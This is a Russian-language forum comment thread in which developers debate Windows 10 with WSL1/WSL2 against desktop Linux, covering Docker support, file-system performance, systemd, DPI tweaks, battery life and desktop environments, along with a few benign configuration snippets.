Comments 240
Таковы ваши выводы?
Но Линукс никогда особо и не набирал топ среди десктоп юзеров. В серверной части он неоспоримый лидер и в ближайшем будущем пока не видно, что это должно измениться.
Про себя-то я еще с первого WSL все решил, после 10 лет на линуксе вернулся на винду.
Теперь у меня нет десктопного linux. И всем знакомым это советую, работаю в сфере разработки сайтов — 9 из 10 программистов пытаются в ubuntu, но после моего совета возвращаются к W10 + WSL.
9 из 10 программистов пытаются в ubuntu
Что значит «пытаются в ubuntu»? У них не получается?
А можете ли вы называть их программистами?
Мне как раз платят за то, что я настраиваю ubuntu, debian, docker, etc… Ну и WSL. Просто с WSL они сами могут сделать что хотят, это будет быстрее чем меня ждать. А мне все равно — буду я настраивать убунту, не буду — зарплата от этого не изменится.
UPD: даже более того, среди них есть люди, которые пилят системные демоны на C для линуксовых железок на мипсе, но сами они даже убунту на комп установить не в состоянии.
Как ни парадоксально, выросло уже поколение таких программистов, которые сами комп собрать не могут. Но при этом кодят, да.
UPD: даже более того, среди них есть люди, которые пилят системные демоны на C для линуксовых железок на мипсе, но сами они даже убунту на комп установить не в состоянии.
Так ведь тут вовсю утверждают, что «Линух уже допилили для комфортного использования на десктопе» и процесс установки должен быть уже простым-препростым?
Так ведь тут вовсю утверждают
Не знаю, кто это утвержает. Линуксы всю жизнь были конструктором по типу «можно собрать космолёт с функцией полива рассады»
Хотя, по опыту, у приходящих новичков установка проблем не вызывает. Проблемы с дальнейшей настройкой, например, что надо устанавливать проприетарные драйверы NVidia, чтобы получить актуальный OpenGL, или настройкой DNS (в последних убунтах там сделали какую-то дичь, и в свежеустановленной системе одновременно присутствуют dnsmasq и systemd-resolved, новичок точно не разберется), или когда надо настроить кучу вланов на сетевом интерфейсе (пламенный привет разработчикам NetworkManager, из-за которых я до сих пор пользуюсь /etc/network/interfaces).
А вот в плане десктопа — да. Значимость WSL ещё будет оценена. Преимущество чистого линукса перед WSL, первое что в голову приходит, это большая конфиденциальность и управляемость ОС. Но тут надо разбираться и понимать кому это действительно нужно, а кому и не очень.
Сам игрался с ноутом с предустановленной виндой PRO. Но у Вас как я могу предположить была предустановлена Home 10 и на ней не работает docker. В связи с чем довольно естественный вопрос. Работает ли доверять в среде linux которая запускается из win 10 Home?
https://docs.docker.com/docker-for-windows/install/ там сейчас есть ссылка на инсталляцию в Home через Линукс. А еще даже полгода назад было четко сказано что минт алтная версия PRO. Хотя сам я не пробовал так как у меня как раз была PRO.
Сам игрался с ноутом с предустановленной виндой PRO. Но у Вас как я могу предположить была предустановлена Home 10 и на ней не работает docker. В связи с чем довольно естественный вопрос. Работает ли доверять в среде linux которая запускается из win 10 Home?
Докеру все равно. Была бы виртуальная машина.
Есть специальный дистрибутив Docker для Windows для этого, работающий через виртуальную машину.
Если же вы пробовали чистый Докер под Linux и использовали WSL 1, то и не должно было работать.
Только начиная с WSL 2 работает линуксовый Докер.
Почему не должно было, если wsl подавалось как полноценное ядро?
Почему не должно было, если wsl подавалось как полноценное ядро?
Полноценное ядро появилось только в WSL 2.
В WSL 1 — это полноценное userspace поверх эмуляции ядра. В эмуляции реализована только часть функционала ядра. Того функционала хватает для запуска кучи программного кода. Кроме программного кода, обращающегося к специфическим функциями ядра, как это например делает Docker.
Полноценное ядро от MS совместимое с ванильным. В WSL2 от своего полноценного ядра отказались, тупо в виртуалке запускают.
Полноценное ядро от MS совместимое с ванильным.
Это планировалось сделать так в WSL 1.
В реальности же сделаны только наиболее частоупотребимые вызовы. Что позволило запускать большинство утилит командной строки, компиляторов и пр. и пр.
Но по тем вызовам, что используют программы типа Docker — сделаны просто заглушки, а не полная реализация.
В WSL2 от своего полноценного ядра отказались, тупо в виртуалке запускают.
С WSL 1 предполагалось, что быстрее будет без виртуалок, типа как будто в контейнере.
Оказалось что современные виртуалки довольно шустры (поддержка же в процессорах давно есть) и WSL 2 намного более эффективное решение (если вам хватает оперативной памяти).
Это планировалось сделать так в WSL 1.
Вот я и удивляюсь, почему "Если же вы пробовали чистый Докер под Linux и использовали WSL 1, то и не должно было работать.", если планировалось. Как я понимаю ситуация была не "докер и не должен работать", а "докер пока не работает, мы в курсе и работаем над этим". Но сейчас уже, кажется, перестали.
Вот я и удивляюсь, почему «Если же вы пробовали чистый Докер под Linux и использовали WSL 1, то и не должно было работать.», если планировалось.
Что вас удивляет?
Это нормально в ИТ: довольно часто программу пишут постепенно дополняя функционал и выкатывая в использование только уже написанную часть, с расчетом обновить и расширить позже.
Сделали в первую очередь то, что уже позволило запускать кучу программ работающих в командной строке, большую часть. А специфические вещи типа Докера оставили на потом.
Потом когда проанализировали, решили не допиливать WSL 1, а избрать другой путь, WSL 2, с виртуалкой.
Для меня "не должно работать" означает, что целенаправленно сделали нерабочим, в крайнем случае просто не рассматривали вариант, что заработает, не думали, что кто-то попробует запустить.
Для меня «не должно работать» означает, что целенаправленно сделали нерабочим
Если бы софт какой-то был уже рабочим и его ломали, выпилив куски — то да.
Но тут ситуация обратная: WSL 1 только создавался и обрастал функционалом. Там еще нечего было ломать. То есть упомянутого функционала еще не было, его только планировали добавить.
Потом подумали — и этот функционал появился в совсем другом WSL 2. А в WSL 1 его уже не стали делать.
в крайнем случае просто не рассматривали вариант, что заработает, не думали, что кто-то попробует запустить.
Вы прямо как мой заказчик текущий:
Он хотел быстро-дешёво MVP (минимальный-дешевый продукт для проверки идеи).
Мы с ним оговорили весь функционал MVP и отдельно то чего в MVP не будет реализовано прописали.
Потом он у меня спрашивает — а где это, а где это? Как же так без этого жить?
Хорошо что у меня на бумаге (в файле) записано обсуждение, что «это и то» не является частью MVP. А будет сделано только потом. Или не будет сделано потом, если от стадии MVP мы не перейдем к полноценному продукту.
Ибо я уже сталкивался, что если описывать только тот функционал, что будет сделан, то заказчик еще кучу функционала в своем мозгу добавляет в ожидания и потом удивляется «это же само собой разумеющееся, это должно быть». Поэтому я привык явно указывать то, что не будет сделано.
Ну вот у вас записано, а в анонсах МС вроде не было "работа докер не является частью текущей версии WSL". Было, емнип, что-то вроде "не все функции ванильного ядра пока поддерживаются, просто консольній софт скорее всего работать будет, серверный и гуи скорее всего не будет — шлите багрепорты"
Ну вот у вас записано, а в анонсах МС вроде не было «работа докер не является частью текущей версии WSL».
Софта — миллионы. На каждый — отдельную таблицу совместимости не напишешь. Вон даже Wine, который пытается вести таблицу совместимости — так и у тех сия таблица довольно-таки невелика относительно всего разнообразия софта.
Было, емнип, что-то вроде «не все функции ванильного ядра пока поддерживаются, просто консольній софт скорее всего работать будет, серверный и гуи скорее всего не будет — шлите багрепорты»Имхо нормальная работа с обратной связью с «заказчиками».
Они и Windows Terminal так же делают «шлите багрепорты и пожелания».
В реальности серверный софт взводится в WSL довольно легко. Вопрос прежде всего в процедуре запуска, так как WSL это «сеансовое» окружение Linux, длительный запуск, как это нужно серверному софту, изначально не был предусмотрен. Если запуск вы реализовали (через bashrc например, ну а в WSL 2 это уже и через службы можно сделать) — то он будет работать.
Докер — редкое исключение из того, что принципиально не может работать в WSL 1.
консольній софт скорее всего работать будет, серверный и гуи скорее всего не будет
WSL же — это не софт для домохозяек.
Из чего вы сами можете сделать заочные выводы про Докер.
Вы же разработчик.
Ну и проверить (или прочитать) если сомневаетесь.
Из чего вы сами можете сделать заочные выводы про Докер.
Угу, выводы типа "может заработать, а может и нет".
Ну и проверить (или прочитать) если сомневаетесь.
Собственно это и сделал. И то, и другое. Решил подождать с экспериментами. А потом понял, что на развитие WSL1 забили.
А потом понял, что на развитие WSL1 забили.
Потому что посчитали, что подобные вещи как Docker лучше запускать по совсем другой технологии. И выпустили WSL 2.
Если убрать из названия номер версии (которые возрастают и возрастают, что нормально), то «на развитие WSL никто не забивал, это сейчас один из самых активно развивающихся продуктов MS»
Да почему понятно. Но с точки зрения архитектуры WSL1 и WSL2 — совершенно разные решения задачи запуска linux-приложений под Windows. Причём во втором революционного по сути только то, что MS его сама развивает как часть ОС.
Причём во втором революционного по сути только то
Да в мире вообще мало чего то в корне нового.
Обычно это эволюция. Революционными эти вещи называют только из соображений рекламы.
Если отвлечься от этих эмоционально окрашенных свойств продуктов и обратиться к сути, то WSL довольно удобная технология.
Но! Очень похожая технология предлагается уже много лет как (headless VM и удобный функциональный vagrant), но почему-то большинство людей узнали об подобном способе разработки ПО только когда MS создала WSL.
https://docs.microsoft.com/ru-ru/windows/wsl/wsl2-faq
Подсистема WSL 2 доступна во всех номерах SKU, где сейчас предоставляется WSL, включая Windows 10 Домашняя.
Последняя версия WSL использует архитектуру Hyper-V для включения виртуализации. Эта архитектура будет доступна в качестве дополнительного компонента Virtual Machine Platform (Платформа виртуальной машины). Этот необязательный компонент будет доступен во всех номерах SKU. Более подробную информацию об этом интерфейсе можно получить ближе к выпуску WSL 2.Docker при WSL 1 работает поверх Hyper-V, который в Home недоступен. А с WSL 2 ему виртуальная машина не нужна
Прямо наоборот.
Виртуальная машина стала нужно только начиная с WSL 2.
Не нужна виртуальная машина именно для WSL 1
Ну так под ним и Docker не работает, он запускает отдельную виртуалку под Hyper-V. Так что нужна.
Нелогично, ибо:
Использование WSL не подразумевает, что вы используете или не используете еще и Docker.
С другой стороны, если вы используете Docker (c WSL 2 или без таковой), то зачем вам еще отдельно и WSL 1?
Но… нет ;)
VcXsrv и прочие варианты годятся для людей с хорошим зрением, кого стандартный DPI=96 устраивает. Заставить линуксовые приложения работать в другом DPI я так и не смог.
Причём xdpyinfo показывает resolution: 120x120 dots per inch, но шрифты как были мелкие так и остаются.
У гтк приложений теперь все эти настройки лежит где-то в районе dconf, с которым оно общается по dbus. При запуске из WSL ничего этого нету.
Ещё можно оставить стандартное "растягивание" средствами Windows, тогда все шрифты превращаются в нечитаемое мыло.
Сейчас все работает с 200% zoom, как я и настроил.
gsettings set org.gnome.desktop.interface text-scaling-factor у меня вообще не заработал, а
org.gnome.desktop.interface scaling-factor работает, но только целые числа, а мне нужно 1.25 или 1.5.
После гугления и экспериментов нормальный DPI в PyCharm завёлся вот так:
echo 'Xft.dpi: 120' > ~/.Xresources
xrdb ~/.Xresources-1 проблема, может когда-нибудь осилю переползти на винду.
Другая проблема — это низкая производительность доступа к файлам в линуксовой подсистеме из-под windows. У меня проект находился на линуксовой ФС, а кодил я в windows-based IDE, открывая файлы через сетевой диск $wsl. В целом работало, но на большом проекте поиск по файлам, обновление и коммиты тормозили очень ощутимо.
Да, можно сказать, что параметры системы (i5 и 8 Гб ОЗУ) недостаточны, чтобы тянуть разработку приложений под докер. Но после перехода на Kubuntu на том же самом железе все стало раза в 2-3 быстрее. И поскольку приложение под докером и IDE используют одну и ту же область ОЗУ, память расходуется более экономно.
Производительность говорите?
Тут человек выбирал систему под разработку по жестам на тачпаде… а вы про виртуалки какие-то, эклипсы))
но на большом проекте поиск по файлам, обновление и коммиты тормозили очень ощутимо.
Поэтому у меня IDE (PyCharm) автоматически аплоадит файлы по SSH при каждом изменении.
Поставил Manjaro KDE и прям удивился насколько хорошо одна система подходит и для работы, и поиграть. И это не винда, её снёс подчистую без сожалений. На макоси при работе с докером 16 гигабайт уже не хватало (докеру приходилось отдавать 4 гига, чтобы приложение работало нормально, поэтому вкинул в десктоп 32), а на линуксе пока ни разу не упирался, хотя думал придётся памяти добавлять в ноутбук. Докер работает, IDE бегают, оболочка куда шустрее винды, отлично кастомизируется и мало жрёт. Даже поиграть со стимом и его протоном удавалось во все интересные мне проекты — вот сейчас перепрохожу 4 фолыч без проблем.
В общем пока майкрософт не починит разнобой со своим UI и не сделает работу с WSL незаметной по всем параметрам, я на винду ни ногой.
Поставил Manjaro KDE и прям удивился насколько хорошо одна система подходит и для работы, и поиграть. И это не винда, её снёс подчистую без сожалений.
А как там с жором аккумулятора?
Я сильно не проверял, использую ноутбук как мобильный десктоп по большей части, но при простом листании браузера сообщает о 4-5 часах работы.
Понятно почему вас всё устроило. Потому что постоянно подключены к розетке.
Я-то думал, что вы и при автономном использовании довольны Линуксом.
Оказывается, проблема так никуда и не ушла, наиболее эффективны при автономном использовании до сих пор только Windows и MacOS, не Линукс.
4-5 часов в браузере это маловато для современных ноутбуков.
4-5 часов в браузере это маловато для современных ноутбуков.
Вот прям совсем-совсем для всех ноутбуков? У меня игровой толстый кирпич и 4-5 часов для него ИМХО за глаза. Вот тесты примерно похожей конфигурации — те же 4-5 часов на винде. Я помню времена, когда игровой ноутбук означало «есть часик со свёрнутой игрой до следующей розетки добежать». Так что прошу вас перестать использовать «аргументы» родом из 2010 года.
Короче, я думаю это от конфига зависист.
P.S. А ещё у меня все жесты, которые работали в винде — работают на лине. Даже сенсорный экран (доля понимающих его приложений примерно такая же как на винде).
чтобы нвидия даже не запитывалась
Она всё равно запитывается, никому не сообщая об этом.
А как там с жором аккумулятора?
Он легко настраивается. Там основная проблема в том, что NVidia не отключается полностью, если переключиться на Intel. А в фоне, даже не работая, она поджирает примерно 15-20 ватт в час. Треть батареи.
Если настроить её реальное отключение, получится полсуток поработать в режиме программиста (без 3D).
Ну и вторая проблема в том, что это косяк именно NVidia драйвера для линукса. А они её не устраняют.
Я с такой проблемой столкнулся на G5 сразу же, потом у него сгорело одно ядро и я заменил G5 на леново S540 с такой же конфигурацией. С графикой — та же проблема.
Тоже решилась. Сейчас ноут в обычном режиме (работа по RDP плюс сайты) работает 12-14 часов.
Согласен, нативная поддержка контейнеризации и работы IDE в одном окружении (без слоя виртуализации) положительно сказывается на производительности.
Долгое время использую Debian + KDE, система переезжает с ноутбука на ноутбук, в том числе побывала на Macbook Pro 2015 и 2017, и везде чувствует себя хорошо, будь то нетбук с 4gb памяти и Intel Atom или Macbook Pro с i7, 16gb и nvme диском.
P.S. Plasma не падает :D
Какая IDE с контейнерами на 4 Г на Atom чувствует себя хорошо?
vim? Не продукты JetBrains же?
А вот с файловой системой пока все очень напряжно. Как-то улучшить ситуацию можно покупкой самого быстрого процессора и накопителя.
Я сам думаю об intel optane потому как даже с 970 pro так себе.
Вот стоят у меня 4 860 evo в 2 raid 0, да, гиг в секунду, но это только линейная скорость. По случайной все еще хуже чем на единственном.
Брал для теста optane memory на 16гб. По скорости между топ nvme и оперативкой. 800p вообще идеален для таких задач.
дык смениться на nvme ssd, или если нет такого разъема и есть отсеки, впихнуть 2хSata SSD в raid0, можно средствами винды. Гиг в секунду в обе стороны даст.
Как только мы начинаем писать на диск маленькими порциями — вся скорость уходит на нет.
Падение может быть и в 100 раз и в 1000 — запросто.
Сам не верил пока не узнал это:
m.habr.com/ru/company/selectel/blog/521168
Другая проблема — это низкая производительность доступа к файлам в линуксовой подсистеме из-под windows.
Это было проблемой в первом WSL
Вы точно про второй WSL?
Точно. Если вы считаете, что это было проблемой в WSL1, то в WSL2 все примерно в 10 раз хуже. Все потому, что теперь линуксовые файлы физически лежат в виртуалке, и доступ к ним виртуализован через эмуляцию локальной сети.
Как бы это не казалось странным — но получилось даже быстрее.
Проверено.
И сие не только моё наблюдение.
Я вот наоборот успешно переехал на wsl2+docker. И в сторону нативного Линукса больше не смотрю.
Если монтировать только линуксовые volume, то разницы в скорости работы относительно нативной Ubuntu не нашёл. Вероятно у вас в оперативке узкое место вышло.
А вот если монтировать Виндовые папки, то разница была примерно в те самые 2-3 раза.
В роли IDE использую Vscode. Тут все отлично заработало благодаря Remote Development режиму (поиск, git, language server — крутятся под wsl).
Но тут уже должны сложиться звезды.
И в роли IDE VS Code должен устраивать, и плагины нужные должны поддерживать данный режим.
Другая проблема — это низкая производительность доступа к файлам в линуксовой подсистеме из-под windows
Вот сейчас потестил время индексации большого PHP проекта на Laravel с кучей composer библиотек. Развернул две новых копии проекта — одну на винде, другую в WSL2, затем по очереди открывал в PhpStorm (на винде конечно) и замерял время индексации.
Результаты:
Windows — минута и 22 секунды
WSL — минута и 13 секунд
Ноут у меня такой: Core i7, 32 гига памяти, диск NVMe Samsung 960 EVO.
Так что все в порядке с доступом из винды на линукс, тормоза только при обратном доступе.
inotify работало при таком раскладе? IDE выявляла изменения файлов? Вотчеры?
Читал, что еще можно все ide тоже перенести на wsl. ОЗУ это вряд ли сэкономит, а вот доступ к файловой системе, по идее, должен ускориться. Может кто пробовал такой вариант?
habr.com/ru/post/529908/#comment_22351420
А можно ссылку на скрипт для hosts?
А вам не требовалось запускать сервисы на wsl? Там не работает полноценно systemd. Не сталкивались с этим?
Потому что это не совсем ОС.
Она запускается при запуске WSL, который запускает bash.
Полноценного запуска systemd и пр. сервисов — не предусмотрено.
Если вам нужна полноценная ОС + дополнительный инструментарий для доступа к ней через консоль + удобная автоматизированная установка/настройка софта — то это vagrant.
Или можно сэмулировать, прописав запуск всего необходимого в стартовые скрипты, например в bashrc.
Стандартное и вполне рабочее решение: запуск сервисов в wsl2 с помощью службы windows.
Или нестандартный и интересный способ запуска systemd для привычного init'а сервисов.
Интересный действительно интересный, но есть опасения, что и с ним докер не захочет работать.
Пока для себя перешёл на headless-виртуалку, потому что ещё одной причиной стало, что и VirtualBox, и VMWare не могли работать полноценно (с жуткими тормозами) при включённой WSL и Hyper-V (на которой он и работает).
Но за ссылки спасибо
Оба варианта используют daemonize для запуска fake-systemd вместо стандартной работы WSL2.
В свою очередь Docker Desktop рассчитан на работу со стандартной службой, так что могут быть проблемы совместимости.
Однако, если работать просто с сервисами, в том числе с docker, то, IMHO, проблем совместимости не будет.
P. S. Свежие версии VirtualBox и VMWare Station умеют использовать Hyper-V как бэкенд, на сколько я в курсе.
Про VirtualBox и VMWare знаю, пробовал обе. Но не хотят они работать одновременно с Hyper-V — и у меня (судя по форумам) не одного такая проблема
Про VMware Workstation и Hyper-V пишут, что совместимо с версии 15.5 и новее.
Про VirtualBox и Hyper-V пишут, что это экспериментальная фича, кроме того для nested-virt нужен фикс, который включен пока только в тест и дев сборки.
Положу здесь ссылку на решение. Скорее всего оно не самое простое, возможно достаточно где-то в интерфейсе системы просто галочку прожать.
Зарядка от Type-c. Теперь заряжаю все свои устройства одной зарядкойсейчас вот очередной Type-Ё (или Side-Ы) подоспеет, он точно будет лучше и всё станет ещё универсальнее. Как никогда. Более единственным.
сейчас вот очередной Type-Ё (или Side-Ы) подоспеет, он точно будет лучше и всё станет ещё универсальнее. Как никогда. Более единственным.
Нет никаких оснований полагать это, судя по долгой жизни предыдущих поколений USB.
USB Type-С довольно такие доработанный стандарт.
По нему и зарядка и флешку подключишь и монитор внешний и пр. и пр.
Я снес всё, что было, и поставил Ubuntu. Ничего не поменялось, но тут все жесты не работали, как бы я ни старался.
Windows ради одних только жестов? Автор достаточно интересный человек.
А то, что он снес одну Ubuntu чтобы установить другую Ubuntu — вас не напрягло?)
Ладно бы еще Arch какой, вроде того же Manjaro…
Нормально мириться с каким то гемором ради чего-то, вопрос ради чего. То что ради «жестов» для меня достаточно удивительно.
Впрочем дальше прозвучало про фотошоп и игры, так что стало понятнее.
И данный вывод делаете по отсутствию вопросиков в диспетчере устройств?
Знаете, вы тоже очень интересный человек.
параметры моего компьютера:
проц: Ryzon 3900X
мат. плата: Gigabyte x570 AORUS Elite
вид карта: GeForce 2070 Super
Вопрос лишь в личных приоритетах. Если лично для меня важнее были бы жесты, то купил бы, наверное, Мак. А так сижу на геймерском Асусе с Убунтой и даже не в курсе можно ли хоть какие-то жесты хотя бы в теории сделать, даже не знаю это уровень тачпада, драйверов или ОС — просто тачпадом пользуюсь только в безвыходных ситуациях.
Как и не в курсе задействовано ли у меня дискретное видео nVidia — ничего на чём бы могла быть заметна разница между ним и встроенным Intel просто не запускаю. Геймерский ноутбук пришлось купить по фильтрам экрана, CPU, RAM, SDD — дискретное видео, DVD, батарея шли в нагрузку (
1. ужасно работал тачпад (на предыдущем dell тачпад работал нормально)
2. с гибридной графикой intel/nvidia, для которого nvidia нормальные дрова не подвезла на linux, из за чего проседал фпс при банальном скролле
3. с 4к экраном, который без нормальных драйверов напрягал систему еще больше, приходилось ставить 1920x1080 с мылом, чтобы не проседал фреймрейт приходилось грохать проприетарные дрова nvidia чтобы ноут работал чисто на графическом ядре intel
Первые впечатления были потрясающими, фпс на месте, все летает, приятная глазу картинка в 4к, возможность юзать виндовые приложения
Так же обновился до wsl-2 и стало еще лучше
Но прошло время и вылезли НО:
1. мне с WSL 2 банально не хватало 16гб оперативы
на Ubuntu контейнеры брали ~6-8, иде 4, хром 2-3, система 2
на Windows тоже самое, только + еще 3-4 на систему винды + на 30% больше расход цпу на wsl и ноут совсем не вывозил
2. не все контейнеры работали идеально как на ubuntu, в частности в sql базах обязательно нужно менять конфиг innodb_flush_method, если он стоит на O_DIRECT, т.к. эта опция в Windows не поддерживается
3. один контейнер просто падал с непонятной ошибкой по которой ничего не гуглится, из за чего пришлось поставить ubuntu на второй ссд
4. был баг с rsync'ом, я просто не мог рсинкнуть базу с чужой машины, конекшен рефьюз и все, несколько дней танцев с бубном ничего не дали, даже брандмауэр винды полностью грохал
5. нету привычного терминатора из ubuntu, где много привычных фич, самое банальное — удобное разделение окон, на винде есть conemu, но я к нему так и не привык, а разбиратся с powershell был не готов
6. синий экран смерти винды
7. физическая память которая сжирается WSL'ом не очищается если удалять файлы в самом wsl, необходимо заморачиватся с сжатием места ext4 файла который выделяется под wsl
это все еще открытый вопрос github.com/microsoft/WSL/issues/4699
8. htop естественно работает не корректно, и непонятно как мониторить ресурсы
9. в ide не сразу индексируются файлы которые генерируются автоматически, приходилось вручную обновлять папку в ide и ждать когда до неё «дойдет»
Решил, что вернусь к WSL после того как соберу пк с 32гб оперативы, чтобы юзать на небольших проектах не выходя из винды, на втором ssd обязательно будет стоять ubuntu для рабочих задач
2. не все контейнеры работали идеально как на ubuntu, в частности в sql базах обязательно нужно менять конфиг innodb_flush_method, если он стоит на O_DIRECT, т.к. эта опция в Windows не поддерживается
Эту проблему можно понять если речь бы шла по запуске напрямую под Windows. Или под WSL 1.
Но WSL 2 — это тот же Linux с его родным ядром, где все поддерживает.
Или вы монтировали базы из файловой системы Windows?
сейчас пытаюсь вспомнить, была ли эта проблема только на wsl 1 или на wsl 2 просто не замечал
Или вы монтировали базы из файловой системы Windows?
нет, база была внутри wsl
Но WSL 2 — это тот же Linux с его родным ядром, где все поддерживает.
да, возможно на WSL 2 это уже не актуальная проблема, и я поспешил с выводами
- нету привычного терминатора из ubuntu, где много привычных фич, самое банальное — удобное разделение окон, на винде есть conemu, но я к нему так и не привык, а разбиратся с powershell был не готов
Попробуйте windows terminal, он довольно активно развивается. Лично меня сейчас в нем смущает только то что нельзя нормально настроить, чтобы новая вкладка открывалась в той же директории. И quake режим пришлось допилить через AutoHotkey. В остальном все устраивает, в отличии от того же ConEmu, который по несколько секунд открывает новую вкладку, постоянно падает и сильно лагает.
export DISPLAY=$(grep nameserver /etc/resolv.conf | cut -d' ' -f2):0
Также рекомендую:
cat /etc/wsl.conf
[interop]
appendWindowsPath = falseБыли проблемы со сборкой сложных проектов, из за PATH с винды…
Лучше добавить что нужно примерно так в .bashrc:
alias code='/mnt/c/Users/hard/AppData/Local/Programs/Microsoft\ VS\ Code/Code.exe'
alias far2='far2l --tty --ee --mortal'
Как только допилят поддержку CUDA, вообще цены wsl'ю не будет. Хорошая штука.
Регулярные публикации в стиле «Я 15 лет работал на Linux но теперь я счастливый пользвоатель Windows 10 Home Edition и мне другого не надо» начинаю выглядеть подозрительно. Вот и здесь «впервые за долгое время Windows, благодаря WSL, а раньше никак не получалось».
Да нормально это.
Как десктоп ОС Linux так и остается всего лишь «перспективным».
Да, за 15 лет она стала гораздо лучше для десктопа, чем была. Но и Windows на месте не стоит.
И до сих пор Linux все эти 15 лет в роли догоняющего, на голову хуже чем MacOS и Windows.
На серверах — да, Linux победил. Но это не означает, что он от этого на десктопе стал таким же удобным.
До эпохи WSL кое какой софт удерживал этих людей на Linux. Сейчас — многие которые просто «мирились с минусами Linux, терпели» — открыли для себя, что существует вполне себе удобно комбинация Windows + WSL.
Но WSL не является полноценной заменой Linux ни в плане возможности подстройки операционной системы под себя ни в плане открытости самой ОС.
Для разработку под сервера с Linux — вполне себе полноценная замена.
Под использование Linux с GUI — нет, конечно.
Для разработку под сервера с Linux — вполне себе полноценная замена.
Не полноценная, но приемлемая, если обстоятельства вынуждают. Во многих сценариях даже лучше обычной виртуалки с Linux, но не во всех.
Не полноценная, но приемлемая, если обстоятельства вынуждают. Во многих сценариях даже лучше обычной виртуалки с Linux, но не во всех.
Если вы хотите полноценно и максимально точно эмулировать сервер — то это только виртуалка.
А она что запускаемая из-под Linux что из-под Windows — совершенно одинаковая внутри.
Из преимуществ Linux как десктопа остается только частичная эмуляция сервера Linux на слабом железе, для которого виртуалка тяжеловата.
У него ещё много преимуществ, начиная от большого выбора DE под свой вкус и задачи, заканчивая поддержкой железа, которое в windows 10 уже не поддерживается.
У него ещё много преимуществ, начиная от большого выбора DE под свой вкус и задачи
Которые:
- или являются копией «DE» Windows ( с небольшими изменениями — типа с кнопкой «Пуск» другой формы ) или MacOS. Причем из-за лимита времени и человеческих ресурсов то, что получается — это с урезанным относительно оригинала функционалом?
- или требуют неэлементарной заточки под себя, как например, Awesome?
- или крайне непритязательны?
Из полноценно доработанных и сразу готовых к работе оригинальных DE под Linux сколько остается из «великого множества альтернатив»? 1-2?
заканчивая поддержкой железа, которое в windows 10 уже не поддерживается.
Я это и написал — если для вашего старого железа виртуальные машины слишком тяжелы, то Linux-десктоп для разработки под Linux-сервер — разумный выбор.
или являются копией «DE» Windows
которая является копией DE Xerox Alto
если для вашего старого железа виртуальные машины слишком тяжелы,
Даже я не додумался на МФУ запускать виртуалки :) Я про обычную офисно-бытовую периферию прежде всего. Вот кстати, вспомнилось как патчил модули ядра, потому что мой ТВ-тюнер отдавал по USB тот же deviceId что и конкурент. И до сих пор могу запустить под свежим декстопным линуксом. А уже под Vista с родными дровами под XP он не работал. Уверен, что под 10 тоже не зработает. Собственно выход Vista и заставил меня установить Ubuntu.
или являются копией «DE» Windows ( с небольшими изменениями — типа с кнопкой «Пуск» другой формы ) или MacOS
Пожалуйста, расскажите, копией какого DE Windows или MacOS являются Gnome 2 и Unity? Я уж молчу про экзотику вроде CDE или Awesome.
Я уж молчу про экзотику вроде CDE или Awesome.
Про у меня Awesome упомянуто отдельно.
Подобная экзотика — это единственное, что можно считать ценным среди DE Linux, если вам действительно такой экзотичный DE нужен.
Unity слизан со штатного интерфейса MacOS (то что панелька по умолчанию слева, а не снизу — это принципиально? ), при том, что в управление окнами приближено к тому, к чему люди привыкли с Windows. Почему так были вынуждены поступить — см. ниже.
Gnome2 — не знаком настолько близко чтобы комментировать.
Вот тут в комментах пробегало, что человек недоволен интерфейсом в MacOS, он видите ли не такой как в Windows или Linux, к которым он привык.
И это при том, что MacOS свой GUI развивает еще с прошлого века, он устоявшийся и имеет постоянное сообщество людей к нему уже привыкших.
Разработчики DE под Linux из-за подобных вещей также ограничены в своих экспериментах. Сильно необычные вещи или не взлетают вовсе или становятся уделами небольшого числа любителей. А то что взлетает — большей частью похоже на Windows, кстати.
Уже не говоря, что несметное количество ресурсов полномасштабная разработка интерфейса требует, чтобы это сделать не кусочно, не только «на одной лишь главной странице», а повсюду. Но таких ресурсов, как правило нет у разработчиков интерфейсов.
Доведенных до ума полномасштабных DE мало. Ну например, KDE. Но он покажется родным пользователям Windows.
Еще раз похвалю оригинальность Awesome. Но он это как раз иллюстрация того, что под Linux оригинальных доведенных до ума DE мало и это все больше небольшие по функционалу DE, типа Awesome.
Unity слизан со штатного интерфейса MacOS (то что панелька по умолчанию слева, а не снизу — это принципиально? )Куча мелочей, вроде выбора открытых окон по Win+цифра, свой оригинальный боковой скролл — это тоже слизано? Более того, Вы хвалите Awesome за оригинальность — тогда как насчет тайлового управления положением окон в Unity? По моему скромному мнению, юнити всё же тянет на оригинальную разработку, несмотря на кучу заимствований там и тут. Другое дело, что я согласен с озвученным
Сильно необычные вещи или не взлетают вовсе или становятся уделами небольшого числа любителей.— как раз этот случай. Мне юнити не зашла по тому самому неотключаемому Win в хоткеях — я уже привык переключать раскладку не циклически, а выбирать правой/левой Win-клавишей.
Gnome2 — вполне удобная DE, при желании из неё можно сконструировать как вин-, так и макос-подобный DE, но по дефолту она вполне оригинальна. Также вместе с Awesome я упомянул CDE — это оригинальная DE родом из соляриса, которая вообще поначалу может ввести в ступор.
Мда, как будто до WSL нельзя было запустить виртуалку.
Можно, но вам придется самостоятельно внутрь VM прокидывать вашу IDE.
WSL позволяет сделать это прозрачным способом, за вас и для вас уже поработала MS.
Впрочем, до WSL появились еще и headless VM, и удобная обвязка под них — vagrant — тоже давно существует.
когда можно поставить нормальную систему, а не винду.
В серверном смысле она нормальная.
Но в смысле GUI и десктопа — как раз нормальными являются Windows и MacOS, а не Linux.
Аналогично. Не было никакого желания в очередной разбираться с настройкой линукса под новый ноут, еще быстро понял, что часть оборудования вообще завести не получится. В итоге остался на предустановленной винде, включил insider preview, чтобы заработал wsl2, так как в то время он еще не был в релизе, плюс часть времени пришлось посидеть на ConEmu, так как WT был еще сильно сырой. Но сейчас вообще не испытываю никакого дискомфорта при разработке, и забыл как страшный сон эти вечные проблемы с десктопным линуксом.
И не проблема поставить и более менее завести теперь intel/nvidia в Arch (хотя для меня Arch закончился в 2007 после потери как говориться BSD-style конфига и переезда на systemd — CRUX в 2020 году — неее… спасибо)/Ubuntu 20.04/Fedora/Centos 8 — она собственно на серваке..., но зачем… оно теперь на ноутбуке.
Можно завести WSL2+Ubuntu16.04 и использовать от случая к случаю (когда иногда автономно нужно собрать FW).
Да и нужный SecureCRT никуда не делся он всегда под Windows работал отлично, с 300-400 сессиями уже счет потерял, что под Linux/Mac/Windows работает почти везде одинаково, ну в Linux тем в SecureCRT нет, но темную тему подхватывает для интерфейса в Linux.
Выглядит привычно — шрифты и т.п.
